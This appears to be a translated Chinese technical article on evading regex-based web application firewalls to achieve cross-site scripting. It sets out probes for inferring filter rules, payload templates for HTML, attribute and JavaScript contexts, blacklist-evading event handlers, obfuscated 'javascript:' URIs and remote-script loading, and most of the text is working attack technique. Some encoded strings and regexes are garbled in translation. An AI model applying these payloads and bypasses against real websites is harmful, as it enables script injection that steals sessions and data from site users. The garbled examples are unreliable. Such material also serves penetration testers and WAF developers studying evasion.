介绍
跨站点脚本 (XSS) 是最常见的 Web 应用程序漏洞之一。它可以通过清理用户输入、基于上下文转义输出、正确使用文档对象模型 (DOM) 接收器和源、执行正确的跨源资源共享 (CORS) 策略和其他安全实践来完全防止。尽管这些预防性技术是公共知识,但 Web 应用程序防火墙 (WAF) 或自定义过滤器被广泛用于添加另一层安全性,以保护 Web 应用程序免受人为错误或新发现的攻击向量引入的缺陷的利用。虽然 WAF 供应商仍在尝试机器学习,但正则表达式仍然是检测恶意字符串的最广泛使用的方法。
HTML 上下文
当用户输入反映在网页的 HTML 代码中时,我们就说它在 HTML 上下文中。HTML 上下文可以根据反射的位置进一步划分为子上下文。
- 内部标签-
<input type="text" value="$input">
- 外部标签-
<span>You entered $input</span>
外部标签
此上下文的主要字符<
负责启动 HTML 标记。根据 HTML 规范,标签名称必须以字母开头。有了这些信息,可以使用以下探针来确定用于匹配标签名称的正则表达式:
<svg
- 如果通过,则没有标签检查到位<dev
- 如果失败,<[a-z]
x<dev
- 如果通过,^<[a-z]
<dEv
- 如果失败,<[a-zA-Z]
<d3V
- 如果失败,<[a-zA-Z0-9]
<d|3v
- 如果失败,<.
如果安全机制不允许这些探测,则无法绕过。由于误报率高,应劝阻此类限制性规则。
如果上述任何探测未阻塞,则可以使用许多有效负载方案来制作有效负载。
有效载荷方案#1
代码语言:javascript复制<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
一旦{tag}
找到合适的值,下一步就是猜测用于匹配标记和事件处理程序之间的填充符的正则表达式。可以通过以下探针执行此操作:
<tag xxx
- 如果失败,{space}
<tag xxx
- 如果失败,[s]
<tag xxx
- 如果失败,s
<tag/xxx
- 如果失败,[s/]
<tag xxx
- 如果失败,[sn]
<tag xxx>
- 如果失败,[snr ]
<tag/~/xxx
- 如果失败,.*
这个组件,即事件处理程序是有效负载结构中最关键的部分之一。它通常与 kind 的一般正则表达式onw
或黑名单(例如on(load|click|error|show)
. 第一个正则表达式的限制非常严格,无法绕过,而黑名单类型模式通常使用不太知名的事件处理程序绕过,这些事件处理程序可能不存在于黑名单中。使用的方法类型可以通过两个简单的检查来识别
<tag{filler}onxxx
- 如果失败,onw
. 如果通过,on(load|click|error|show)
<tag{filler}onclick
- 如果通过,则没有检查正则表达式的事件处理程序到位
如果结果是正则表达式onw
,则不能绕过它,因为所有事件处理程序都以 . 开头on
。在这种情况下,您应该继续下一个有效负载方案。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都被列入黑名单,您应该继续下一个有效负载方案。
在我使用 WAF 的经验中,我发现黑名单中缺少的一些事件处理程序是:
代码语言:javascript复制onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
对相邻的填充物的测试与前面讨论的填充物相似,并且只有在被安全机制阻止=
时才应进行测试。<tag{filler}{event_handler}=d3v
下一个组件是要执行的 JavaScript 代码。它是有效负载的活动部分,但不需要对用于匹配它的正则表达式进行假设,因为 JavaScript 代码是任意的,因此无法与预定义的模式匹配。
此时将payload的所有组件放在一起,只需要关闭payload即可,可以通过以下方式完成
代码语言:javascript复制<payload>
<payload
<payload{space}
<payload//
<payload
<payload
<payload
应该注意的是,HTML 规范允许<tag{white space}{anything here}>
表明诸如<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
有效的 HTML 标记。HTML 标签的这一属性使得攻击者可以通过上述方式注入 HTML 标签。
有效载荷方案#2
代码语言:javascript复制<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
对填充符以及结束字符串的测试与之前的有效负载方案类似。必须注意的是,a?
可以用在 URL 的末尾(如果 URL 后没有使用填充符)而不是结束标记。之后的每个字符?将被视为 URL 的一部分,直到>
遇到 a。随着<script>
标签的使用,它很可能被大多数安全规则检测到。
使用<object>
标签的有效负载可以使用类似的有效负载方案制作:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
有效载荷方案#3
这个有效载荷方案有两种变体:普通的和可混淆的。
普通变体通常与诸如href[s]*=[s]*javascript:
. 其结构如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
可混淆的有效载荷变体具有以下结构:
代码语言:javascript复制<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
这两个变体之间的显着区别在于{special}
组件和{quote}
s。{special}
指的是字符串的混淆版本,可以javascript
使用换行符和水平制表符进行混淆,如下所示:
j Av asCr ipt:
J a v a s c r i p T :
J a v a s c r i p T :
在某些情况下,数字字符编码也可用于逃避检测。十进制和十六进制都可以使用。
Javascript:
javascript:
显然,如果需要,这两种混淆技术可以一起使用。
Java script:
可执行和不可执行的上下文
根据注入的有效载荷是否可以在没有任何特殊帮助的情况下执行,外部标签上下文可以进一步分为可执行和不可执行上下文。当输入反映在 HTML 注释中<--$input-->
或在以下标记之间时,会出现不可执行的上下文:
<style>
<title>
<noembed>
<template>
<noscript>
<textarea>
必须关闭这些标签才能执行有效负载。因此,测试可执行上下文和不可执行上下文之间的唯一区别是对{closing tag}
组件的测试,可以如下完成:
</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag >
</tag >
</tag >
一旦发现有效的结束标签方案,{closing tag}{any payload from executable payload section}
就可以用于成功注入。
内部标签
在/作为属性值
此上下文的主要字符是用于包含属性值的引号。例如,如果输入反映为,<input value="$input" type="text">
那么主要字符将是"
. 但是,在某些情况下,主要角色不需要脱离上下文。
在事件处理程序内部
如果输入反映在与事件处理程序关联的值中,例如
<tag event_handler="function($input)";
触发事件处理程序将执行值中存在的 JavaScript。
在'src'属性里面
如果输入被反映为src
脚本或 iframe 标签的属性值,例如<script src="$input">
,恶意脚本(在脚本标签的情况下)或网页(在 iframe 标签的情况下)可以直接加载如下 <script src="http://example.com/malicious.js">
绕过 URL 匹配正则表达式
代码语言:javascript复制//example.com/xss.js绕过http(s)?//
////////example.com/xss.js绕过(http(s)?)?//
////\/example.com/xss.js绕过(http(s)?)?//
内部 'srcdoc' 属性
如果输入被反映为srcdoc
iframe 标记的属性值,例如<iframe srcdoc="$input">
,转义的(带有 HTML 实体)HTML 文档可以作为有效负载提供,如下所示
<iframe srcdoc="<svg/onload=alert()>">
通用属性
上述所有情况都不需要任何绕过技术,除了可以使用 HTML 上下文部分中使用的技术绕过的最后一种情况。讨论的情况并不常见,最常见的属性上下文反射类型如下:
代码语言:javascript复制<input type="text" value="$input">
根据相关标签的交互性,它可以进一步分为两类。
可交互的
当输入反映在可以与例如单击、悬停、聚焦等交互的标签中时,只需要引用即可脱离上下文。这种情况下的有效载荷方案是:
代码语言:javascript复制{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
检查报价是否被 WAF 阻止(极不可能)可以通过以下探测来完成:
x"y
事件处理程序在这里起着重要的作用,因为它是唯一可以被 WAF 检测到的组件。每个标签都支持一些事件处理程序,用户可以自行查找此类情况,但有些事件处理程序可以绑定到下面列出的任何标签:
代码语言:javascript复制onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
其余组件可以使用前面讨论的方法进行测试。
当输入反映在无法交互的标签中时,需要突破标签本身才能执行有效负载。这种情况的有效载荷方案是:
代码语言:javascript复制{quote}>{any payload scheme from html context section}
JavaScript 上下文
内部字符串变量
最常见的 JavaScript 上下文反射类型是字符串变量内的反射。这很常见,因为开发人员通常将用户输入分配给变量,而不是直接使用它们。
代码语言:javascript复制var name = '$input'
有效载荷方案#1
代码语言:javascript复制{quote}{delimiter}{javascript}{delimiter}{quote}
分隔符通常是 JavaScipt 运算符,例如^
. 例如,如果用户输入位于单引号字符串变量中,则可能的有效负载将是
'^{javascript}^'
'*{javascript}*'
' {javascript} '
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
有效载荷方案#2
代码语言:javascript复制{quote}{delimiter}{javascript}//
它类似于前面的有效负载方案,只是它使用单行注释来注释掉该行中的其余代码以保持语法有效。可以使用此有效负载方案制作的一些有效负载是:
代码语言:javascript复制'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
在代码块内
输入通常会反映到代码块中。例如,如果用户已付费订阅并且年满 18 岁,则网页会执行某些操作。具有反射输入的 JavaScript 代码如下所示:
代码语言:javascript复制function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
假设我们没有支付订阅费用。为了解决这个问题,我们需要跳出if (subscription)块,这可以通过关闭条件块、函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将得到如下反映
代码语言:javascript复制function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
这是一个缩进视图,用于了解有效负载的工作原理
代码语言:javascript复制function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
}
);
关闭当前函数调用。
第一个}
关闭if (age > 18)
块。
第二个}
关闭if subscription
块。
alert();
是用作测试的虚拟函数。
if(true){
启动一个if
条件块以保持代码在语法上有效,因为后面的代码中有一个 else 块。
最后,('
结合我们最初注入的函数调用的剩余部分。
它是您在野外会遇到的最简单的代码块之一。为了简化分解代码块的过程,建议使用语法高亮器,例如Sublime Text。
有效载荷的结构取决于代码本身,这种不确定性使其很难检测到。但是,如果需要,可以对代码进行混淆处理。例如,上面代码块的有效负载可以写成:
代码语言:javascript复制');
}
} alert();/*anything here*/if(true){//anything here
('
如果输入被反映到 JavaScript 代码中,无论它是在代码块中还是在变量字符串中,</scRipT{?filler}>{html context payload}
都可以用于跳出上下文并执行有效负载。这个有效载荷方案应该在其他所有事情之前尝试,因为它很简单,但它也很可能被检测到。